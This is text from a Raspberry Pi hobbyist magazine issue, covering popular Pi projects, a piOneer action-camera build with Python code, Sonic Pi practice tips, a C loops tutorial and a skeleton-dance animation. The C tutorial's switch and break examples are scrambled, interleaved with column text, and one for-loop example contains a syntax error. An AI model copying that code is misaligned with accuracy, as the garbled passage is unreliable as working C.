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EDUCATION WITH THE RASPBERRY PI It’s no secret that the Raspberry Pi Foundation’s main mission is to spread and facilitate computing education. The Raspberry Pi computer itself aids in this by lowering the cost of actually purchasing a computer. Projects on this page like RACHEL and Pi4L are wonderful uses of the Raspberry Pi for just that, but you don’t need to go that far to use the Pi for educational purposes. The Raspberry Pi Foundation has produced a ton of teaching materials that are all freely available for everyone to use and can be found via: magpi.cc/2ctbKrV
CREATED BY: Dana Lewis and Scott Leibrand URL: diyps.org
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Also known as the #DIYPS, it was developed to solve a known issue with an existing medical device on the market that had been FDA approved, and it did. In the process, its makers were also able to add features such as real-time processing of blood glucose, real-time predictive alerts, and continually updated recommendations on required insulin and carbs. The code has been released as OpenAPS so other people can build their own custom system: it’s literally DIY.
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A system built around Raspberry Pi for continuously monitoring blood glucose levels for people suffering from diabetes, helping them to manage diet and medication, and ultimately to live longer, healthier lives”
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The Pi4L Labs, about 12 to 25 Raspberry Pis that students work on, helped teach refugee children basic numeracy skills, visual programming (via Scratch), and social and health awareness. It could also guide the teachers themselves so they could better educate the kids using the resources provided by Pi4L. Lessons aren’t just provided while on the computers either, with ‘unplugged’ lessons included as well.
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Using Raspberry Pi computers as part of a Unicef-backed educational programme to support Syrian refugees living in Lebanon, this has already delivered impressive results” CREATED BY: Media in Cooperation and Transition URL: magpi.cc/2cnCJID
POCKET FM Protecting true free speech in small parts of Syria, the Pocket FM helps people gain access to audio content from Syrnet. It’s a radio channel maintained by humanitarians and Syrian ex-pat journalists to broadcast news, language programmes, and even music to people who don’t want to rely on government-controlled news feeds – whatever government that might be. It can be powered by a car battery or solar power and is small and easy to hide.
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Bringing independent radio to cities in Syria through low-cost, portable radio devices built on Raspberry Pi computers that convert satellite signals to FM so that everyone can access them”
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RASPBERRY PI NOTEBOOK This beautiful retro-styled mininotebook, built by Adafruit’s Ruiz Brothers, is powered by a Raspberry Pi and an Adafruit 3.5˝ PiTFT touchscreen and, frankly, not a great deal more! Besides the Raspberry Pi 2 and PiTFT display, for control the project features a minichiclet keyboard with built-in trackpad. It’s a widely available
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wireless input device that’s both affordable and easy-to-use. While the hardware is the really exciting bit, the 3D-printed chassis is a work of art, too. Take, for example, its totally modular hinged design. While it works really well on this Raspberry Pi mini-notebook, you could reuse it for 101 different hardware projects.
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FAST FACT: Seven experiments, designed by schoolchildren, were performed aboard the ISS
FAST FACT: You can attach Pi Glass to prescription glasses (unlike Google Glass)
PI GLASS The good people at Adafruit posted a tutorial on making a wearable display, powered by a Raspberry Pi, that clips on to your regular glasses or (if you’re a Terminator with perfect vision) sunglasses. “Our 3D-printed design turns a pair of ‘private display glasses’ into a ‘Google Glass’-like form
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factor,” say the Ruiz Brothers. “It easily clips to your prescription glasses, and can display any kind of device with composite video, like a Raspberry Pi.”
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Hack together your own Google Glass wearable using a Raspberry Pi
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During 2016, the United Kingdom looked to the skies as British ESA Astronaut Tim Peake served aboard the International Space Station. Two special Raspberry Pis joined Tim up in space. The Astro Pi devices, nicknamed Ed and Izzy, had their own mission to carry out experiments – some aided by Tim himself – coded by UK schoolchildren. Raspberry Pi’s space adventures aren’t over. “We hope to see Raspberry Pi-derived hardware in CubeSats in low Earth orbit and maybe beyond,” says Eben Upton, CEO of Raspberry Pi. “We’ve been wondering if SpaceX have any room on their Red Dragon mission in 2018.”
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RAMANPI Raman spectroscopy is a molecular identification technique that works by detecting and analysing the characteristic ways in which substances absorb and emit radiation. Raman spectrometers can identify chemical compounds from tiny samples, and are non-destructive.
CREATED BY: Fl@c@ (pronounced ‘flatcat’) URL: magpi.cc/2dbpuWQ FAST FACT: The project made it to the final of the 2014 Hackaday Prize comptition
They’re also very expensive pieces of kit. This ramanPi spectrometer uses a Raspberry Pi and 3D-printed parts, together with readily available off-the-shelf components. It’s an astonishing contribution to the open source movement that’s likely to be of interest to schools, chemists, biologists, home brew enthusiasts, people who want to know what’s in their water, businesses, ecologists, and the simply curious.
VOTE COUNTING We gathered votes from 4,625 readers who told us their favourite projects. The most popular project was Magic Mirror, with 17.9 percent of the vote. SeeMore came in second, with 9.5 percent. BrewPi, Internet of LEGO, and Aquarium all gained around 5 percent of the vote each. The rest of the voting was split between the Top 20 projects listed here, and other (still very cool) projects.
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CREATED BY: The Ruiz Brothers URL: magpi.cc/2dbpjLx FAST FACT: The display is a touchscreen, so you can also play modern swipe-based games
PIGRRL To celebrate the 25th anniversary of the Nintendo Game Boy console, Adafruit came up with this great emulation project.
It’s been through a few iterations, and the latest Pocket PiGRRL uses a Raspberry Pi and PiTFT HAT (320×240 pixels) to create a portable gaming console. While you’re free to set up the software side of the project in any way you like, the Ruiz Brothers have opted to use RetroPie (magpi.cc/2cqNyJW), a great emulation package for the Raspberry Pi that enables users to play games from all sorts of classic systems.
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AQUARIUM Create the ultimate environment for your fish using an IoT tank seriously cool home for all your fishies, this special aquarium in Germany allows the fish to experience what it would be like to be swimming around a reef off the Cayman Islands. Honestly, we’re pretty jealous of the fish. Maybe they all have offshore holdings there?
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CREATED BY: Cory Guynn URL: internetoflego.com FAST FACT: Cory has been working on Internet of LEGO since September 2015
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An electronic LEGO city that’s online and teaching its maker about IoT e’ve seen many Raspberry Pi projects where people have created an incredible thing just to learn about it. The Internet of LEGO’s creator Cory has previously described it as a ‘living project’; from his blog you can see how it has been built up over time, not just in terms of LEGO bricks, but also by adding internet-controlled bits and pieces. He first started with some simple lights, but since then he’s added mechanisms that drive lifts and rail crossings that also use motion sensors and the like. A lot of it is programmed with Node-RED, the building-block programming language. There’s a working train track around the city that’s one of Cory’s favourite parts. “I love seeing things in motion,” he tells us. “There are several things that I’ve
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been able to do that make for a dynamic environment.” It links up to the Transport for London API, which helps schedule the train and also gives live changes to its destination. You can even read where it’s going on a little OLED screen. Cory’s amazing feats are in part due to the help from the open-source community: an integral part of Pi projects, it seems.
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My goal with this project is to learn tech, and inspire our future engineers and those who want to better understand these exciting new technologies”
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CREATED BY: Elco Jacobs URL: brewpi.com FAST FACT: The BrewPi team are working on supporting mash control, another aspect of brewing
The original BrewPi equipment was much more DIY than the final product
BREWPI Brew the perfect beer using your Raspberry Pi to control the process
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his is one of the earlier, pioneering Raspberry Pi projects, having been initially completed in 2012 when the Raspberry Pi and the community were still in their relative infancy. One of the important things about brewing beer (and wine) is controlling the temperature of your batch, which is where the BrewPi comes in. It’s since been made into a product that the maker Elco Jacobs develops and sells, claiming it’s more accurate than other similar products while also allowing you track data through a web interface – an Internet of Beer, if you will. There’s other features as well, such as programmable temperature profiles and the like, but all in all it’s a great example of how a community project turned into a fully fledged product. Although you may need to hack an old fridge if you want to brew some truly special beer, luckily there are guides on how to do that (using your BrewPi) on the website.
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CREATED BY: Virginia Tech URL: seemoreproject.com FAST FACT: It took a year to build, with nine months making, sourcing, and assembling the parts
SEEMORE A Raspberry Pi sculpture that’s also secretly a supercomputer
SeeMore was designed to combine computer science and art to engage, educate, and inspire broad audiences on the importance and beauty of parallel computational thinking” MAKER SAYS
s far as we can tell, this sculpture also holds the record for the number of Raspberry Pis working together in parallel. With 256 linked together in this massive work of art and tech fusion, it can probably crunch some serious numbers if you wanted it to. It was exhibited at the World Maker Faire New York at the end of 2015, and used 834 metres of wiring to get it all hooked up and working. A lot of the parts were custom-made via CNC and laser etching, but the coolest thing about the piece was how the panels covering each Pi would move depending on how much computational power was being used. “The movement of the Raspberry Pis is actually a curve… so it doesn’t just flap out, it articulates outward,” one of its creators Sam Blanchard reveals. “It has a double linkage that some might see as superfluous or overly complex, but I think that what you get… is this waveform that relates to these ideas of fluidity, and that springs from what a lot of parallel computers are built to process: things like weather simulation or fluid dynamics.” It’s not on permanent display (there’s no room at Virginia Tech for it), but it does make appearances at exhibits around the world, so keep your eye out for it.
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MAGIC MIRROR A mirror into your life, or at least the parts that are available online
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Give yourself a quick look and make sure you look on point for the day
Keep track of what’s going on today like traffic, your agenda, and more
f you’ve ever been on the Raspberry Pi subreddit, you’ll probably have seen some amazing magic mirror projects posted there. They’re always very popular, and for good reason: they’re really cool. Here’s the kicker as well: with all the hard software work done and available, they’re not too hard to make, as long as you’re handy with a saw and varnish for some light woodworking. The project that brought the concept to many people’s attention last year was Bradley Melton’s mirror, which we featured in issue 40 of the magazine. It looked and worked great, with all the basics you’d need from a ‘smart mirror’: weather, time, and a nice compliment to get you started in your day. Bradley built the software of his version using preexisting software as a guide so he could understand it, which then allowed him to add seasonal Easter eggs to it like spooky pictures during Halloween.
It’s nice to get a positive message every morning The hardware inside the mirror is quite simple (and relatively cheap)
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Bradley added seasonal events to his mirror, which is easy to do with its modular nature
The aforementioned preexisting magic mirror software was created by Michael Teeuw, a maker from the Netherlands: “I was visiting New York with my girlfriend.” Michael tells us. “While wandering around Macy’s, I noticed a mirror with an illuminated song on it. This is something I could build myself [I thought], only better. I wanted my own magic mirror!” Michael built the first mirror before expanding upon it with a software project he’s dubbed MagicMirror2. It’s an open-source modular platform so other people can build their own magic mirrors. Since then, magic mirrors like Michael’s and Bradley’s have popped up on Reddit quite often. “It’s an extremely humbling experience,” Michael says of the love for the project. “It feels like a huge compliment that I inspired so many people to build their own mirror and explore the world of the Raspberry Pi.” He’s recently started a new website, magicmirror.builders, to guide people who want to make their own magic mirror project. It has links to the software and blogs from the build, so you can plan and create your own. However, as Bradley explains to us, it’s very easy: raspberrypi.org/magpi
“As long as you have a little bit of carpentry and general DIY skills to build the frame, and have a basic understanding of how to program, you should be able to build this. I have never used JavaScript or CSS before this project, and I only had a little bit of experience with HTML.” Looks like it’s time to get building the winner of our top 50 Raspberry Pi projects.
Bradley’s project was featured in issue 40 and was made from scratch, with the original as a guide
When I started working on my prototype, I could have never guessed the amount of attention the project would get. I am humbled that I was able to inspire so many people.” MAKER SAYS
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DAVE PROCHNOW A writer whose numerous projects, contraptions, and inventions have appeared in Popular Science, Nuts & Volts, and SERVO Magazine. magpi.cc/2cc7uvj
GO, PIONEER DIY PORTABLE ACTION CAM You’ll Need > Raspberry Pi Camera Module > 7× 5mm (T-1 3/4) LEDs > 7× 430Ω resistors > Big SPST switch magpi.cc/ 2bY3Pmn > 3.7V 1000mAh LiPo battery magpi.cc/ 2bY3Kiq
Build your own battery-powered, slow-motion, 90fps action camera to prove you’ve ‘been there and done that’!
ost adventurers who are thinking about recording an action event would choose to explore the GoPro camera system. While being a very capable recording device that’s housed inside a diminutive
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>STEP-01 Print it
Borrowing a page from the Astro Pi design book, piOneer consists of a three-part 3D-printed case that holds a Raspberry Pi, Camera Module, user interface, LiPo battery, and large capacity micro SD card. The case consists of three separate STL files that can be printed on any 3D printer with a 150×150mm build surface. The case’s top piece should be printed with a removable support structure. You can download the STL files from here: magpi.cc/2c3XdUE.
Flick this switch for both powering the system and capturing 90fps video
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This row of LEDs is the user interface for displaying the camera’s status
A custom-designed, 3D-printed, high-impact plastic enclosure
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Build your UI
The user interface (UI) for piOneer is dead simple. Consisting of seven LEDs and one switch, the entire UI is housed in the case top piece. Begin your UI construction by gluing the LEDs and the switch to the upper surface of the case top. While you can use the same colour LEDs for piOneer, we opted to mix it up a little: a red LED for power (PWR), blue for ready, white for countdown 3 and 2, a yellow LED for countdown 1, red for recording (Rec), and a green LED for finished. Just one caveat about gluing the LEDs: ensure that all of the cathodes are lined up with each other; this makes the next step very easy to complete.
>STEP-03 Solder your UI
We’re going to use a little bit of wiring trickery here! Rather than routing each LED cathode to a separate Pi GPIO GND pin, we’re going to connect each cathode together in a daisy chain fashion, thereby using only one GND pin for six LEDs! Begin this wizardry by gently bending the ‘finished’ LED cathode so that it’s touching the ‘recording’ LED cathode. Now solder these two cathodes together. Continue up the daisy chain, carefully bending the ‘recording’ cathode until it’s touching the ‘countdown 1’ cathode, and soldering that
Everything soldered in place. Resistors are attached to LED anodes, whereas all of the LED cathodes are soldered together and wired to a Pi GND GPIO pin
connection. Likewise, for the remaining LEDs, bend and solder each LED cathode to the next until you reach the ‘Ready’ LED. Stop at this LED. Do not solder the power (PWR) cathode to this chain: it must be connected to its own GND pin.
>STEP-04 Wiring your UI
The resistors are each individually soldered to the anodes of all LEDs. Begin this process by carefully wrapping one end of a resistor lead around an LED anode lead. The resistor should be parallel to the inside of the top case. Solder this connection, and trim and discard the leftover resistor lead. Add the six remaining resistors to the final LEDs. Solder a jumper wire to the free end of the resistor’s other lead. Complete the LED’s cathode wiring by soldering a female jumper wire to the power (PWR) LED cathode lead, and one final female jumper wire should be soldered to the daisy-chained cathodes that we created in step 03. The piOneer UI is now complete.
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Mount the camera module to the 3D-printed base with M2 fasteners
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The completed project, ready to capture your life’s next great adventure
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Two wires are individually soldered to the switch’s terminals. One of the switch’s wires is soldered to the positive terminal of the JST connector. The JST connector is keyed for proper power signal orientation. Use the battery for identifying which terminal is which – remember, the battery’s red wire is positive, while the black wire is GND. The other wire from the switch is connected to the IN pad on the 5V step-up converter. A female jumper wire is connected to the OUT pad of the converter. The final pad on the converter is a ‘common’ GND connection. In other words, both the battery’s GND and the Pi’s GND must be connected together via this pad. Therefore, solder a wire from the GND terminal of the JST connector to the 5V step-up converter GND pad and solder a female jumper wire to this pad. All of the soldering is now finished for piOneer.
Place the wired-up top case next to the base that holds the Pi. Slip the mid case onto the top case. Connect each of the female jumper wires from the top case to the Pi GPIO pins by following this listing:
Wiring your battery
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Begin final assembly The Raspberry Pi and Camera Module will be fastened to the base portion of the case. Note the orientation of the two openings in the base. These openings will hold the Camera Module’s lens and status LED. Line the module up with these openings and use four M2 screws for attaching the Camera Module to the base. Lay a rubber grommet on each of the four tall mounting posts, set the Pi on top of the grommets, route the Camera Module’s ribbon cable out and over the GPIO pins, and use four more M2 screws for securing the Pi to the base. These rubber grommets will provide a small amount of cushion for the Pi during your upcoming rough-and-tumble adventures. Insert the Camera Module’s ribbon cable into the Camera interface connector on the Pi. 46
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Program the Pi Carefully and thoroughly examine each and every solder joint and wiring connection, looking for touching wires, solder blobs, connection mistakes, and so on. Fix any problems before connecting your Pi to a power source! When your piOneer passes muster, connect the Pi to a monitor, keyboard, mouse, and USB power source; now set up your Pi so that it boots, with automatic login, to a command-line interface (CLI). These settings will enable piOneer to run automatically without user input every time you raspberrypi.org/magpi
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Use⅜-inch or ½-inch rubber grommets as tiny shock-absorbing spacers between the Pi and the case
flick the power switch. Download or enter the piOneer code and save your code to the home directory on the Pi. You can alter the code to suit your recording tastes. As it stands, piOneer will record 1 minute of 640×480-pixel video at 90 fps. The final H264 file will be approximately 65MB in size. In order to make the Python code run automatically, open your user profile for editing:
sudo nano /etc/profile …and add this line to the end of that file:
sudo python /home/pi/pioneer.py & Save, exit, and disconnect piOneer.
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Get out there! Ensure that the power switch is in the OFF position and connect the battery to the JST connector. Slowly bring the case edges together, ensuring that no metal leads, wires, or solder joints are touching the Pi! Insert a long #6-32 screw through each of the cases’s connection lobes and fasten with a nut. We used wing nuts for our fasteners, which makes the case easier to open and close. In order to record a video, just flick the power switch and within 30-45 seconds, piOneer will start recording your slo-mo video. Videos are recorded and saved with a date/time stamp file name. In order to view the videos on your Pi, use:
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GPIO.setmode(GPIO.BOARD) # Set up LED pins # Ready LED GPIO.setup(22, GPIO.OUT) # Countdown 3 LED GPIO.setup(16, GPIO.OUT) # Countdown 2 LED GPIO.setup(15, GPIO.OUT) # Countdown 1 LED GPIO.setup(32, GPIO.OUT) # RECord LED GPIO.setup(33, GPIO.OUT) # finisH LED GPIO.setup(37, GPIO.OUT) # Camera is ready, begin countdown GPIO.output(37, False) GPIO.output(22, True) sleep(2) GPIO.output(16, True) sleep(2) GPIO.output(16, False) GPIO.output(15, True) sleep(2) GPIO.output(15, False) GPIO.output(32, True) sleep(2) GPIO.output(32, False) GPIO.output(22, False) # Begin recording video GPIO.output(33, True) # Records 60 seconds of video at 90 fps; change wait_recording # for length, in seconds, for video with picamera.PiCamera() as camera: camera.resolution = (640, 480) camera.framerate = 90 camera.exposure_mode = 'antishake' filename = dt.datetime.now().strftime('%d-%m-%Y-%H:%M:%S.h264') camera.annotate_text = dt.datetime.now().strftime('%d-%m-%Y %H:%M:%S') camera.start_recording(filename,format='h264') start = dt.datetime.now() while (dt.datetime.now() - start).seconds < 60: camera.annotate_text = dt.datetime.now().strftime('%d-%m-%Y %H:%M:%S') camera.wait_recording(0.2) camera.stop_recording() # Finish GPIO.output(33, False) GPIO.output(37, True) sleep(10) GPIO.output(37, False) GPIO.cleanup()
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RASPBERRY PI 101: CREATE SD CARDS WITH ETCHER
CREATE SD CARDS WITH
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> Raspberry Pi > micro SD card > Etcher
The easiest way to burn OS image files to your Raspberry Pi SD cards
opying operating system (typically Raspbian) image files to a micro SD card is an essential part of getting started with a Raspberry Pi. It can be a long-winded process, and is often difficult for newcomers to grasp. Mac and Linux users typically use the dd command in the
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require a program such as Win32DiskImager. So we were pleased to come across Etcher (etcher.io)..
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Click Select Image in Etcher. Use the file manager window and locate the image you unzipped in the previous step. Click Open. The image will appear under Select Image, and Connect a drive will highlight red.
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Sam is the creator of Sonic Pi. By day he’s a research associate at the University of Cambridge Computer Laboratory; by night he writes code for people to dance to. sonic-pi.net
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Practice makes perfect and Sam Aaron has some tips on how to do that ast month, we took a look at five important techniques for mastering live coding; in other words, we explored how we could use Sonic Pi to approach code in the same way we would approach a musical instrument. One of the important concepts that we discussed was practice. This month, we’re going to take a deeper dive into understanding why live-coding practice is important and how you might start.
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Practise regularly
The most important piece of advice is to make sure you practise regularly. Veterans typically practice for 1-2 hours a day, but 20 minutes is just fine when you’re starting out. Little but often is what you’re aiming for.
T ip #1 – start to develop a practice routine. Find a nice time in the day that works for you, and try to practise at that time as many days of the week as you can. Before long, you’ll be looking forward to your regular session.
The body of a musician is conditioned for playing their instrument. For example, a trumpet player needs to be able to blow hard, a guitar player needs to be able to grip the fretboard with strength, and a drummer needs to be able to continually hit the drums for long periods of time. So, what’s physical about live-coding? Just like DJs, live-coders typically perform standing up, and some even dance whilst they code! If you practise livecoding whilst sitting at a desk and then have to get up and stand at a gig, you’ll likely find the difference very difficult and frustrating. Tip #3 – stand while you practise. The easiest way to do this is to use a standing height desk. However, if you don’t have one at home there are a couple of low-fi options, such as practising on an ironing board or with a keyboard on a stack of books. Make sure you stretch before you start practising, and try to maybe dance a little during the session.
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Practise setting up
Tip #2 – learn how to touch-type. There are many apps, websites, and even games to help you achieve this. Find one you like the look of and stick at it until you can code without looking down.
Tip #4 – treat setting up as an important part of your practice. Pack a box with all the performance essentials and put them together before each practice session. Once you’ve finished practising, take the time to carefully pack everything away afterwards. This may take some time at first, but with practice you’ll get faster.
If you watch a professional musician performing on stage you’ll likely notice a few things. Firstly, when they play they don’t stare at their instrument. Their fingers, arms, and bodies know which keys to press, strings to pluck, or drums to hit without them having to think about it too much. This is known as ‘muscle memory’ and although it might sound like something only professionals can do, it’s just the same as when you first learned to walk or ride a bike: practising through repetition.
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Most instruments require some assembly and tuning before they can be played. Unless you’re a rock star with a bus full of roadies, you’ll have to set up your own instrument before your gig. This is often a stressful time and it’s easy for problems to occur. One way to help with this is to incorporate the setup process into your practice sessions.
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FIVE LIVE-CODING TECHNIQUES Experiment musically
Once you’ve set up and are ready to start making music, you might find yourself struggling to know where to start. You might have a good idea of the kind of sounds you want to make, but are frustrated that you can’t produce them, or you don’t even know what kind of sound to make! Don’t worry: this is very common and happens to every musician, even if they’ve been practising for a long time. It’s much more important to be making sounds you don’t like than not making any sounds at all. Tip #5 – spend time experimenting. Try to make time to explore new sounds and ideas. Don’t worry that it might sound terrible if it’s not the style you’re looking for. You’ll increase the chance of stumbling over a sound or combination of sounds which you love! Even if 99% of the sounds you make are bad, that 1% might be the riff or intro to your new track. Forget the things you don’t like and remember the parts you do. This is even easier when making music with code: just press Save!
Hear the code
Many musicians can look at a musical score and hear the music in their head without having to play it. This is a very useful skill and it’s well worth incorporating into your live-coding practice sessions, to have some understanding of what the code is going to sound like. You don’t need to be able to hear it exactly in your head, but it’s useful to know if the code is going to be fast, slow, loud, rhythmic, melodic, random, etc. The final goal is then to be able to reverse this process: to be able to hear music in your head and know what code to write to make it. It may take you a long time to master this, but once you do, you’ll be able to improvise on stage and express your ideas fluently. Tip #6 – write some code into Sonic Pi, but don’t press Run. Instead, try to imagine what sound it’s going to produce. Then press Run, listen, and think about what you got right and what you didn’t. Keep repeating this until it becomes a natural part of your coding process. Even if you’re a veteran, you might be surprised occasionally, but it does let you learn new tricks.
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Remove all distractions
A common problem when practising is to become distracted with other things. Practising is hard and requires real discipline, regardless of the kind of music you’re making. If you’re struggling to get started or make progress, it’s often too easy to hop on social media; if you’ve set yourself a target of 20 minutes of practice, it’s important to try to spend all that time being as productive as possible.
Above Learn the Sonic Pi shortcuts, and improve your performance, here: magpi.cc/2cO2mCt
Tip #7 – before you start practising, remove as many distractions as possible. For example, disconnect from the internet, put your phone in another room, and try to practise in a quiet place where you’re unlikely to be disturbed.
Keep a practice diary
When you’re practising, you’ll often find your mind is full of new exciting ideas: new musical directions, new sounds to try out, new functions to write, etc. These ideas are often so interesting that you might stop what you’re doing and start working on the idea. This is another form of distraction! Tip #8 – keep a practice diary by your keyboard. When you get an exciting new idea, pause your practice session, quickly jot the idea down, then carry on practising. You can then spend some quality time thinking about and working on your ideas after you’ve finished practising.
Bringing it all together
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Try to establish a practice routine which incorporates as many of these ideas as possible. Keep the sessions as fun as possible, but be aware that some practice sessions will be hard and feel a little like work. However, it will all be worth it once you’ve created your first piece or given your first performance. Remember, practice is the key to success! October 2016
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A for loop lets you initialise, test, and increment the variables associated with a loop from within the loop definition itself
A switch statement allows you to choose different actions depending on multiple different values of a variable
AN INTRODUCTION TO C
PART 04
ADVANCED FLOW CONTROL For loops and case statements – more advanced ways of controlling the flow of a program he if statement and while loop described in the previous article are fairly simple control structures. This month, we’re going to look at a few more complex ones that can help to make your code shorter and more efficient. While the while loop we saw in the previous article is very useful, the for loop tends to be favoured by many programmers, as it puts all the logic controlling the loop in one place. Here’s an example:
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YOUR FAVOURITE LOOP… All three types of loop in C – while, do‑while, and for – can be used in nearly every situation where a loop is needed; choose whichever you like. Some people prefer to use one type of loop for everything; others pick and choose whichever looks tidiest for each circumstance. There are no wrong choices!
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#include <stdio.h> void main (void) { int a; for (a = 0; a < 5; a++) { printf ("a is equal to %d\n", a); } printf ("a is equal to %d and I’ve finished", a); } This isn’t all that different from a while loop, but all of the control for the loop lives in the round brackets after the for keyword. This contains three statements, separated by semicolons; in order, these are the initial condition, the test, and the increment.
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a = 0 is the initial condition; the variable a is initialised to 0 at the start of the loop. a < 5 is the test, just like in a while loop; this is checked on each iteration of the loop, and the loop code is only executed if the test evaluates to true; as soon as the test is false, execution continues after the curly bracket at the end of the loop code. a++ is the increment; this is code which is executed at the end of each iteration of the loop, before the test is evaluated again. In this case, it adds 1 to a. So when this for loop runs, what happens? First, a is set to 0. The test is then checked; is a (which is 0) less than 5? Yes it is, so the code inside the curly brackets is executed, and the value of a is printed. Finally, the increment is applied, meaning 1 is added to a. The test is then repeated; if true, the loop code is executed again, and the increment is again applied, then this repeats over and over until the test is false. In terms of what they do, for loops and while loops are pretty much identical.
Switch statements
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AN INTRODUCTION TO C #include <stdio.h> void main (void) { int a = 0; if (a == 0) { printf ("a } else if (a == { printf ("a } else { printf ("a } }
is equal to 0\n"); 1) is equal to 1\n");
also execute. Try it by compiling the code above and running it; in the terminal you’ll see it say that a is equal to 0. Now remove the two break statements:
switch (a) { case 0 : printf ("a is equal to 0\n"); case 1 : printf ("a is equal to 1\n"); default : printf ("a is greater than 1\n"); } …and run it again – you’ll now see:
You can initialise multiple variables in a for loop – just separate them by commas. So if you want to set two variables at the start of the loop, you can use for (a = 0, b = 1;<test>; <increment>)
is greater than 1\n");
That does start to get pretty long-winded though, so C provides a neater way of doing this, called a switch statement.
#include <stdio.h>
a is equal to 0 a is equal to 1 a is greater than 1 Not what you expected! This is another common bug in C code; forgetting the break statements in your cases can result in very unexpected behaviour.
Leaving a loop early
The break statement has one other use; it can be void main (void) used inside while and for loops to break out of them. { int a = 0; Look at this example: switch (a) { #include <stdio.h> case 0 : printf ("a is equal to 0\n"); break; void main (void) { case 1 : printf ("a is equal to 1\n"); int a = 5; break; while (1) default : printf ("a is greater { than 1\n"); printf ("a is equal to %d\n", a); } a++; } if (a == 5) { This does exactly the same as the example above break; with multiple if statements, but is a lot shorter. } The opening line consists of the keyword switch, } with the name of a variable in round brackets; this printf ("a is equal to %d and I’ve variable will be tested against the various cases. finished", a); The body of the switch statement is a number of case } statements. The variable a is compared against each case in turn; if it matches the value just after the word case, then the lines of code after the colon are executed. The final case is just called default; every switch statement should include a default case as the final one in the list, and this is the code which is executed if none of the other cases match. Notice that the last line in each case section is the word break; this is very important. This keyword tells the compiler that you want to ‘break out’ of the switch statement at this point; that is, to stop executing code inside the switch. If you forget to include the break statements, every case after the one you wanted will raspberrypi.org/magpi
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So we have a while loop in which the test is just the value 1; this is a non-zero value, so is always true. If you enclose code inside curly brackets after a while (1) statement, the loop will never end; it will keep running for ever. But in this case we’ve provided an alternative way to end the loop. We test the value of a inside the loop itself in an if statement, and if a is equal to 5, we call the break command; this causes the loop to end and execution to continue with the statement after the loop. A break statement like this can be useful to leave a loop early in the event of an error, for example.
MULTIPLE INCREMENTS As with multiple initialisations, you can have multiple increments in a for loop, also separated by commas – for (a = 0; b = 1; <test> ; a++, b *= 2). This is useful if there are two or more variables that change consistently while the loop runs.
CONTINUE The keyword continue can be used in a loop instead of break. Instead of breaking out of the loop, however, continue skips all the rest of the code in the current iteration, and returns to the test case at the start of the loop. Among other things, this can be useful to speed up your code.
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MIKE’S PI BAKERY
MIKE COOK Veteran magazine author from the old days and writer of the Body Build series. Co-author of Raspberry Pi for Dummies, Raspberry Pi Projects, and Raspberry Pi Projects for Dummies. magpi.cc/259aT3X
DANSE MACABRE THE SKELETON DANCE Make a skeleton dance to your music in front of the fires of hell, for Halloween
You’ll Need > Spectrum display hardware (see The MagPi #46) > Or thumb joysticks (see The MagPi #49)
he Danse Macabre is a piece of classical music created in 1874 by the French composer Camille Saint-Saëns. It’s often known by the popular name of ‘The dance of the skeletons’ and it inspired this year’s Halloween project. We’ve used the hardware from our Spectrum display project in
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Building your marionette
The idea is to take an image of each component of a skeleton and draw it on the screen so that each component links up together. However, like any marionette, the limbs aren’t fixed but jointed. In computing terms, this involves plotting each limb in a specific rotational orientation. This presents us with a problem, because the CPU power needed to rotate an image is a bit heavy, even for a computer as powerful as the Raspberry Pi. What’s more, a simple rotation often leaves the image with jagged artefacts that change with the rotation, making
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any resulting animation look fuzzy and noisy. The solution to this is to rotate a much higher-resolution image and then scale it down to the size you want. Unfortunately, this adds even more to the burden on the CPU. So, to get over this, the images of the various limbs are precalculated. We’ve used this technique on several occasions before, for example in the Olympic Swimming Simulator of The MagPi #48. Each frame was prepared beforehand, then loaded into the program at runtime. We initially tried the same technique with our skeleton, but it soon became clear that not only was this tricky to do in the graphics package, but also a lot of images needed creating. In addition, for each image, you need data saying where the plot and connection points are for that image. We thought, like the Little Princess said, “there must be something better”, and so we let the program generate all the intermediate images from the one starting prototype image. The only downside to this is the amount of time it takes to initialise the program at the start.
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If you search the internet for ‘cut out skeleton’, you’ll find a wide variety of graphics designed to be printed onto card, cut out, and then assembled using paper fasteners as joints. We chose the one shown in Fig 1, and set about cutting it up in a graphics package. Each limb was isolated and made into a single image on a transparent background. We used the same image for the upper arm bone and thigh bone, and just
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Fig 1 The original cut-out skeleton Fig 2 Plotting of an outer limb is in the same location despite any rotation
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– the centre of the image – is simply offset by half the width, or height, of this square image. While that’s fine for the end limbs, there’s another problem for limbs that need another limb hanging off them. Fortunately, this has a simple solution. You just need to have the pixel coordinates of this point and as you rotate the image round the centre point, you also rotate these coordinates and save them in a list corresponding to each rotation position. This list is the plotting position of the hanging limb and is used to determine where in the Pygame window to plot it. This is shown in Fig 3 – note how most of the image is just a transparent background. All these limbs are hung off a body image. This will have some x-y position in the Pygame window, and there are pivot points that are relative to the body image. To find the place to plot an inner limb (an arm or thigh), you have to add the x-y position to the pivot point offset. Now, to find the place to plot the outer limb, you add the appropriate offset from the list of outer limb hanging positions. This is shown in Fig 4 and while it may seem complex, the place to plot the outer limbs is found by building up the relevant offsets.
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Fig 3 Hanging an outer limb on an inner limb
used the same image flipped for the two forearms. All the images, with the exception of the body, were made square with the pivot point at the centre. Any other pivot points on the image were noted using the pointer position window in the graphics package. Each part was kept at a large size and scaled down by 33% in the Python software. The exception to this was the body: as this didn’t need rotating, it was scaled down directly in the graphics package.
A program that just tests out the skeleton’s limb movement is on our GitHub repository and is a subset of the full dance.py code shown overleaf. The idea is that each limb rotation, and the skeleton’s position on the screen, is controlled by one of the music channels from the Spectrum hardware. This has left and right stereo information and, basically, this is used to control the left and right side of the skeleton. This gives a mainly symmetrical look to the movement. However, the snag is that with no sound on a channel, we wanted some limbs to be at the middle point of their rotation range. So we had to see if there was
The idea is that each limb rotation, and the skeleton’s position on the screen, is controlled by one of the music channels from the Spectrum hardware Graphics strategy
So, each limb has a single image associated with it. This image is on a transparent background, but the key to making it work is that the joint, or plotting position, of the limb is at the centre of the image. That way, we can rotate it around the centre but still draw it in the same place independently of the rotation – see Fig 2. Now, Pygame uses the top-left corner of an image for its plotting position and with this way of drawing the image, the plotting point we want to use
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a zero or small value in the data channel and if so, set the limb to the centre point. The data from the Spectrum hardware is scaled into a floating point list, with values between 0.0 and 1.0; this is called a normalised number. The skeleton’s x-y position on the screen is controlled by the difference between left and right channels of the lower frequencies. This kept the movement from being too jerky across the screen. To make the software easier to follow, each limb rotational position is defined by its own variable.
